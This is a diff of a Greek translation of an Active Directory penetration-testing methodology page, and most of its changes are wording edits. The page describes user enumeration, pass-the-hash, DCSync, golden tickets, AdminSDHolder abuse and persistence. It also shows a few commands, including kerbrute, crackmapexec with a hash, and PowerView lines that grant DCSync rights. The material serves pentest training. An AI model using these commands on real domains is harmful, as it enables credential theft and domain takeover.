_KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι ο χρήστης απαιτείται να εκτελέσει προαυθεντικοποίηση. +- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση. ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -141,7 +141,7 @@ password-spraying.md ## Καταγραφή Active Directory ΜΕ πιστοποιήσεις/συνεδρία -Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**. +Για αυτή τη φάση χρειάζεστε να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**. Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού hop Kerberos.** @@ -151,14 +151,14 @@ kerberos-double-hop-problem.md ### Καταγραφή -Η κατοχή ενός λογαριασμού είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:** +Η συμβιβασμένη λογαριασμός είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:** -Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς. +Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό πρόσβασης του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς. - Μπορείτε να χρησιμοποιήσετε το [**CMD για να εκτελέσετε μια βασική αναγνώριση**](../basic-cmd-for-pentesters.md#domain-info) - Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο διακριτικό - Μπορείτε επίσης να [**χρησιμοποιήσετε το powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξαγάγετε πιο λεπτομερείς πληροφορίες -- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού μπορούν οι χρήστες να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ. +- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού οι χρήστες μπορούν να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ. - **Άλλα αυτοματοποιημένα εργαλεία καταγραφής AD είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**DNS records του AD**](ad-dns-records.md) καθώς μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. - Ένα **εργαλείο με GUI** που μπορείτε να χρησιμοποιήσετε για να καταγράψετε τον κατάλογο είναι το **AdExplorer.exe** από το **SysInternal** Suite. @@ -171,7 +171,7 @@ kerberos-double-hop-problem.md Είναι πολύ εύκολο να αποκτήσετε όλα τα ονόματα χρηστών του τομέα από τα Windows (`net user /domain`, `Get-DomainUser` ή `wmic useraccount get name,sid`). Στο Linux, μπορείτε να χρησιμοποιήσετε: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" ` -> Ακόμα και αν αυτή η ενότητα καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα. +> Ακόμα και αν αυτή η ενότητα Καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα. ### Kerberoast @@ -185,11 +185,11 @@ kerberoast.md ### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.) -Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας. +Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσεις θυρών σας. ### Τοπική Κλιμάκωση Προνομίων -Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM). +Αν έχετε συμβιβασμένες πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM). Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/index.html) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). @@ -205,17 +205,17 @@ kerberoast.md ``` ### NTML Relay -Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορείτε να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** ### **Ψάξτε για Creds σε Κοινές Χρήσεις Υπολογιστών** -Τώρα που έχετε κάποιες βασικές διαπιστώσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε). +Τώρα που έχετε κάποιες βασικές διαπιστεύσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε). [**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε για εργαλεία που θα μπορούσατε να χρησιμοποιήσετε.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) ### Κλέψτε NTLM Creds -Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις**, μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο αποκτηθούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: +Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις**, θα μπορούσατε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο προσπελαστούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -229,15 +229,15 @@ kerberoast.md printnightmare.md {{#endref}} -## Ανύψωση προνομίων στο Active Directory ΜΕ προνομιακά διαπιστευτήρια/συνεδρία +## Ανάβαση προνομίων στο Active Directory ΜΕ προνομιακές διαπιστεύσεις/συνεδρία -**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστευτήρια για να εκτελέσετε αυτές τις επιθέσεις.** +**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.** ### Εξαγωγή Hash -Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [ανύψωση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\ -Στη συνέχεια, είναι ώρα να εξάγετε όλα τα hashes στη μνήμη και τοπικά.\ -[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [αναβάθμιση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\ +Στη συνέχεια, είναι ώρα να εξάγετε όλους τους hash στη μνήμη και τοπικά.\ +[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Περάστε το Hash @@ -247,7 +247,7 @@ printnightmare.md ### Over Pass the Hash/Pass the Key -Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης. +Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο το **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης. {{#ref}} over-pass-the-hash-pass-the-key.md @@ -261,7 +261,7 @@ over-pass-the-hash-pass-the-key.md pass-the-ticket.md {{#endref}} -### Επαναχρησιμοποίηση Διαπιστευτηρίων +### Επαναχρησιμοποίηση Διαπιστεύσεων Αν έχετε το **hash** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή**, θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτό. ```bash @@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι -Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\ -Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Αν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\ +Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμα και να εκτελέσει μια **επίθεση** **relay**.\ +Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\ **Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.** {{#ref}} @@ -303,7 +303,7 @@ constrained-delegation.md ### Αντιπροσώπευση Βασισμένη σε Πόρους -Έχοντας δικαίωμα **ΓΡΑΦΗΣ** σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**: +Έχοντας **WRITE** δικαίωμα σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**: {{#ref}} resource-based-constrained-delegation.md @@ -336,7 +336,7 @@ rdp-sessions-abuse.md ### LAPS -**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης Διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταφορά σε άλλους υπολογιστές. +**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης Διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές. {{#ref}} laps.md @@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md ### Κατάχρηση Προτύπων Πιστοποιητικών -Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε δικαιώματα: +Εάν είναι ρυθμισμένα **ευάλωτα πρότυπα**, είναι δυνατόν να τα καταχραστείτε για να κλιμακώσετε τα δικαιώματα: {{#ref}} ad-certificates/domain-escalation.md @@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md ### Εξαγωγή Διαπιστεύσεων Τομέα -Μόλις αποκτήσετε δικαιώματα **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin**, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_. +Μόλις αποκτήσετε **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin** δικαιώματα, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_. [**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md). @@ -385,7 +385,7 @@ Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING" Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -- Χορηγήσετε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη +- Χορηγήστε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη ```powershell Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync @@ -411,15 +411,15 @@ golden-ticket.md ### Diamond Ticket -Αυτά είναι σαν χρυσά εισιτήρια που έχουν παραποιηθεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης χρυσών εισιτηρίων.** +Αυτά είναι όπως τα golden tickets που έχουν κατασκευαστεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης golden tickets.** {{#ref}} diamond-ticket.md {{#endref}} -### **Επιμονή Λογαριασμών Πιστοποιητικών** +### **Επιμονή Λογαριασμού Πιστοποιητικών** -**Η κατοχή πιστοποιητικών ενός λογαριασμού ή η δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης): +**Έχοντας πιστοποιητικά ενός λογαριασμού ή έχοντας τη δυνατότητα να τα ζητήσετε** είναι ένας πολύ καλός τρόπος για να μπορέσετε να επιμείνετε στον λογαριασμό των χρηστών (ακόμη και αν αλλάξει τον κωδικό πρόσβασης): {{#ref}} ad-certificates/account-persistence.md @@ -435,11 +435,11 @@ ad-certificates/domain-persistence.md ### Ομάδα AdminSDHolder -Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· αν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά. +Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίθετα αποτελέσματα, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά. [**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group) -### Διαπιστεύσεις DSRM +### Διαπιστευτήρια DSRM Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό Διαχειριστή. @@ -474,7 +474,7 @@ skeleton-key.md ### Custom SSP [Μάθετε τι είναι ένα SSP (Security Support Provider) εδώ.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **συλλάβετε** σε **καθαρό κείμενο** τις **διαπιστεύσεις** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.\\ +Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **συλλάβετε** σε **καθαρό κείμενο** τις **διαπιστεύσεις** που χρησιμοποιούνται για την πρόσβαση στη μηχανή. {{#ref}} custom-ssp.md @@ -498,29 +498,29 @@ dcshadow.md laps.md {{#endref}} -## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστοσύνες Τομέα +## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**. ### Βασικές Πληροφορίες -Μια [**εμπιστοσύνη τομέα**]() είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας την ομαλή ροή των επαληθεύσεων αυθεντικοποίησης. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης. +Ένας [**εμπιστευμένος τομέας**]() είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από έναν **τομέα** να έχει πρόσβαση σε πόρους σε έναν άλλο **τομέα**. Δημιουργεί ουσιαστικά μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο τομέων, επιτρέποντας την ομαλή ροή των επαληθεύσεων αυθεντικοποίησης. Όταν οι τομείς ρυθμίζουν μια εμπιστοσύνη, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της εμπιστοσύνης. Σε ένα τυπικό σενάριο, εάν ένας χρήστης σκοπεύει να έχει πρόσβαση σε μια υπηρεσία σε έναν **εμπιστευμένο τομέα**, πρέπει πρώτα να ζητήσει ένα ειδικό εισιτήριο γνωστό ως **inter-realm TGT** από τον DC του δικού του τομέα. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που έχουν συμφωνήσει και οι δύο τομείς. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του εμπιστευμένου τομέα** για να αποκτήσει ένα εισιτήριο υπηρεσίας (**TGS**). Μετά την επιτυχή επαλήθευση του inter-realm TGT από τον DC του εμπιστευμένου τομέα, εκδίδει ένα TGS, παρέχοντας στον χρήστη πρόσβαση στην υπηρεσία. **Βήματα**: 1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του. -2. Ο DC1 εκδίδει ένα νέο TGT αν ο πελάτης αυθεντικοποιηθεί επιτυχώς. +2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς. 3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**. -4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα. +4. Το inter-realm TGT κρυπτογραφείται με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα. 5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**. -6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, αν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης. +6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης. 7. Τέλος, ο πελάτης 